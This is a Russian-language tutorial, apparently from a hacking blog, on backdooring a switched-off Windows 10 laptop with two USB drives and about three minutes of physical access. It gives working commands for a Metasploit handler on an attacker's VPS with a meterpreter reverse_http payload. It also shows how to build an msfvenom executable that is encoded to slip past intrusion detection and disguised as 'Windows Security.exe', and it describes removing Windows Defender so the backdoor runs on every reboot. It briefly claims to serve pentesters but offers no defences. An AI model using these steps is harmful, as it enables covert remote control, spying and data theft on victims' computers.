LeSora
Вопрос, который вертится сейчас у вас голове — зачем хакеру проделывать все это именно на моем ноутбуке? Ответ прост — ценен любой компьютер или аккаунт на любом сервисе, даже Pinterest вашей мамы. Многие думают, что им нечего терять или нечего скрывать, но не стоит недооценивать способности и мотивы хакеров.Выключенный ноутбук с Windows 10 можно скомпрометировать меньше чем за три минуты. Нажав всего несколько клавиш, хакер может удалить все антивирусные программы, создать бэкдор, сделать снимки с веб-камеры, перехватить пароли и другие чувствительные пользовательские данные.
Взломав ваш компьютер с Windows 10 злоумышленник может превратить его в веб-сервер для фишинга, вредоносного ПО и спама или может просто держать на нем и распространять какой-нибудь незаконный контент. Он также может получить ваши контакты, спамить других с адреса вашей электронной почты, покупать цифровые товары, скомпрометировать вашу репутацию, получить учетные данные для всех ваших аккаунтов, использовать ваш компьютер для размещения ботов и многое другое.
Даже если на устройстве нет конфиденциальных данных, то хакеры все равно могут совершать с помощью вашего взломанного компьютера какие-нибудь незаконные действия. Любая такая активность, совершаемая со взломанного устройства, может быть связана с жертвой, что в свою очередь может привести к большим штрафам, судебным искам или даже тюремному заключению.
Также нужно учитывать, что скомпрометированный компьютер не является настоящей целью хакера. Если владелец работает в крупной компании с большими активами, то именно компания может быть настоящей целью злоумышленника. Скомпрометированный компьютер, подключенный к сети компании, будет работать как устройство, с которого осуществляется проникновение, и который позволяет хакеру выполнять какие-то незаконные действия или же с помощью этого компьютера хакер может получить доступ к другим устройствам сети.
Общий обзор атаки
В этой статье мы рассмотрим, как хакеры, имея физический доступ к целевому компьютеру, могут легко создать бэкдор. Этот пример хорошо подходит как для «белой шляпы» или пентестера, так и для обычных пользователей, желающих предотвратить подобные атаки.
Без ведома большинства пользователей Windows 10 злоумышленники могут даже при выключенном компьютере и без знания логинов-паролей просматривать хранящиеся на них файлы и папки.
Для выполнения этой атаки потребуется две флешки. USB #1 будет использоваться для создания Live USB, с помощью которой будет загружаться целевой компьютер. USB #2 будет хранить полезную нагрузку, которая будет выполняться на этом целевом компьютере. После создания Live USB на первой флешке невозможно будет хранить файлы (т.е. полезную нагрузку), поэтому нам потребуется вторая флешка.
Такая атака может совершаться коллегами, соседями, горничными отеля, соседями по комнате, друзьями, супругами или кем угодно, у кого есть две USB-флешки и три минуты физического доступа к целевому компьютеру. У злоумышленника также будет возможность сделать бэкдор на целевом компьютере с помощью фреймворка Metasploit, что упрощает поддержание долгосрочного и удаленного подключения к целевому устройству, даже если оно физически переместилось в другую Wi-Fi сеть или уехало в другую точку планеты.
- Создание Live USB
Самые популярные программы для создания Live USB-устройств — это Rufus и LinuxLive USB Creator. Мы рекомендуем Etcher, кросс-платформенную утилиту с открытым исходным кодом, предназначенную для максимально простого создания загрузочных USB-флешек и дисков.
Для создания загрузочной флешки мы рекомендуем использовать какой-нибудь легковеный ISO-образ ISO, так как это позволит Etcher’у быстро сделать загрузочную флешку. Для этих целей подойдет абсолютно любой Linux дистрибутив, который разрешает пользователям попробовать операционную систему без ее установки.
Когда Etcher закончит работу, извлеките флешку из компьютера. Теперь ее можно использовать для просмотра и изменения конфиденциальных файлов на выключенных компьютерах с Windows 10.
- Настройка VPS
О том, как арендовать VPS мы уже неоднократно рассказывали, поэтому сейчас мы не будем вдаваться в подробности. Если для вас это незнакомая тема, то ознакомьтесь с нашим общим руководством по выбору подходящего VPS-провайдера. Для запуска Metasploit подойдет любой VPS на базе Debian с не менее 1024 МБ RAM и 1 ядром процессора.
- Установка Metasploit на VPS
curl "https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb"https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
Затем убедитесь, что у этого файла есть соответствующие права на исполнение на вашем VPS. Сделать это можно с помощью команды chmod.
sudo chmod 755 msfinstall
Наконец, для установки Metasploit запустите созданный файл msfinstall из под root.
sudo ./msfinstall
Установка Metasploit должна выполниться менее чем за две минуты. У нас скрипт установки из под Debian 9 выполнился без ошибок. Информацию об установке Metasploit в других дистрибутивах смотрите в официальных инструкциях, разработчиков Metasploit.
- Установка Screen на VPS
Например, Metasploit должен продолжать работу после того, как сеанс SSH на VPS будет завершен. Если Metasploit запущен, а терминал SSH будет закрыт, то и Metasploit перестанет работать. Но если вы используете Screen, то Metasploit будет работать в фоновом режиме. Ниже приводим гифку, где в сессии Screen работает редактор nano.
Чтобы установить Screen, используйте следующую команду apt-get:
sudo apt-get install screen
Чтобы просмотреть текущие сеансы Screen, используйте команду, приведенную ниже. Если в фоновом режиме нет сеансов Screen, то команда сообщит нам «No Sockets found».
screen -list
Чтобы начать новый сеанс Screen, просто введите screen в консоли и нажмите Enter.
screen
Экран отобразит информацию об авторских правах и лицензии. Еще раз нажмите Enter. Как только вы окажетесь внутри сеанса Screen, то все, что будет происходить внутри терминала, будет сохранено, даже если вы закроете терминал и выключите компьютер.
Аргумент -r можно использовать для повторного подключения к сессии Screen.
screen -r НАЗВАНИЕ_СЕССИИ
Вышеприведенных команд будет достаточно для начала работы со Screen и управления его сессиями. Для более подробного изучения Screen посмотрите статью Тибаут Руссо в DEV.
- Настройка Metasploit
Чтобы создать скрипт ресурса, используйте команду nano для создания файла на VPS с помощью вот этой команды:
nano ~/automate.rc
Это создаст файл automate.rc в домашней папке. Приведенный ниже код нужно скопировать и вставить в терминал с открытым nano
use multi/handler
set payload windows/meterpreter/reverse_http
set LHOST Your.VPS.IP.Here
set LPORT 80
set ExitOnSession false
set EnableStageEncoding true
exploit -j
Теперь давайте посмотрим, что же делает этот скрипт.
- payload — тип полезной нагрузки, который будет использован. В данном случае — это «windows/meterpreter/reverse_http». Это создаст HTTP-соединение между целевой и атакующей машинами. Хакеры иногда будут использовать HTTP-соединение через стандартный TCP-протокол для уклонения от DPI (глубокая проверка пакетов). TCP-пакеты, идущие на необычные порты (например, на порт 4444, 55555 и т.д.), могут быть легко обнаружены тем, кто отслеживает передачу трафика на и со взломанного устройства.
- LHOST — это IP-адрес сервера хакера, на котором запущен Metasploit. Заглушка «Your.VPS.IP.Here» в файле ресурсов должна быть заменена на IP-адрес VPS хакера.
- LPORT указывает порт назначения. По умолчанию данные по HTTP передаются на 80-й порт. Для пассивного уклонения от DPI использовался порт 80.
- Этот exploit будет автоматически запускаться при запуске файла automate.rc с помощью msfconsole.
Теперь Msfconsole можно запустить с помощью команды:
screen msfconsole -r ~/automate.rc
Создание полезной нагрузки с помощью Msfvenom
Msfvenom — это комбинация Msfpayload и Msfencode, в результате чего оба этих инструмента превратились в единую структуру. Msfvenom — это экземпляр Metasploit для консоли, который используется для генерации и вывода всех различных типов шелкода, доступных в Metasploit. В большинстве случаев чистый шелкод необходимо определенным образом закодировать для надлежащей работы.
Во время этого теста используется простая, не слишком сложная полезная нагрузка Msfvenom. В реальной жизни хакеры будут использовать более совершенные полезные нагрузки, которые смогут эффективно обходить работу антивирусного программного обеспечения. Если антивирусное программное обеспечение удаляется во время атаки, то базовой полезной нагрузки Msfvenom будет достаточно.
Для создания полезной нагрузки Msfvenom для этой статьи был использован Kali Linux. Для создания полезной нагрузки с помощью Msfvenom введите в терминале следующую команду:
msfvenom --encoder cmd/powershell_base64 --payload windows/meterpreter/reverse_http LHOST=YourVpsIpHere LPORT=80 --arch x86 --platform win --format exe --out ~/'Windows Security.exe'
Здесь много чего указано, поэтому давайте разберем, из чего состоит эта команда.
- encoder. Он кодирует полезную нагрузку так, чтобы она могла обойти системы обнаружения вторжений (IDS), изменяя сигнатуру файла исходной полезной нагрузки в другой формат. Тип кодировщика, который здесь используется — это «powershell_base64». PowerShell — это язык сценариев, разработанный Microsoft для оказания помощи ИТ-специалистам в настройке систем Windows и автоматизации административных задач. Хакеры же используют PowerShell для достижения своих целей с тех пор, когда он впервые был внедрен в операционные системы Windows XP и Vista.
- payload. Используемый здесь тип полезной нагрузки — это «windows/meterpreter/reverse_http». Указанная здесь полезная нагрузка должна соответствовать той полезной нагрузке, которая используется в файле ресурсов automate.rc, созданном нами на предыдущем шаге.
- LHOST = YourVpsIpHere. LHOST — это IP-адрес сервера хакера, на котором запущен Metasploit. Этот IP-адрес должен соответствовать тому LHOST, который был указан в файле ресурсов automate.rc, созданном нами на предыдущем шаге.
- LPORT = 80. LPORT указывает порт назначения. Этот номер порта должен соответствовать параметру LPORT, который мы на предыдущем шаге указали в файле ресурсов automate.rc.
- arch x86. Старые компьютеры Windows (32-разрядные) используют архитектуру x86 и не могут выполнять 64-разрядные исполняемые файлы. Новые 64-разрядные компьютеры Windows могут использовать архитектуру и x86 и x64. Хакеру имеет смысл использовать архитектуру x86 для охвата более широкого спектра пользователей Windows.
- platform win. Указывает целевую платформу. Другие платформы включают Android, macOS, Unix и Solaris. В нашем случае используется платформа win, т.е. Windows.
- format exe. Здесь указывается выходной формат файла, в данном случае — EXE или «исполняемый файл» (executable). Этот файл будет запускаться на компьютерах Windows.
- out. Хакеры часто называют вирусы и бэкдоры какими-то правдоподобно звучащими именами типа «Windows Security», «Windows Update» или «explorer.exe» для того, чтобы убедить пользователей в том, что запущенный процесс не является вредным или подозрительным. Параметр —out определяет имя exe-файла полезной нагрузки.
После генерации полезной нагрузки Msfvenom ее нужно будет сохранить на вторую USB-флешку. Просто вставьте вторую флешку в компьютер, на котором была сгенерирована полезная нагрузка в EXE-формате, а затем перетащите ее мышкой на вставленную флешку. Вот и все, что нужно сделать для создания флешки с полезной нагрузкой.
Заключение
В этой статье мы сделали Live-USB, установили и настроили Metasploit на удаленном сервере, создали простую полезную нагрузку Msfvenom. Со всем этим хозяйством теперь можно получить доступ к целевому компьютеру, пока он находится в выключенном состоянии, затем удалить Windows Defender (и другое программное обеспечение для безопасности) и внедрить полезную нагрузку на устройство. Эта полезная нагрузка будет выполняться каждый раз, когда устройство перезагружается, создавая новое соединение между взломанным компьютером и атакующим сервером.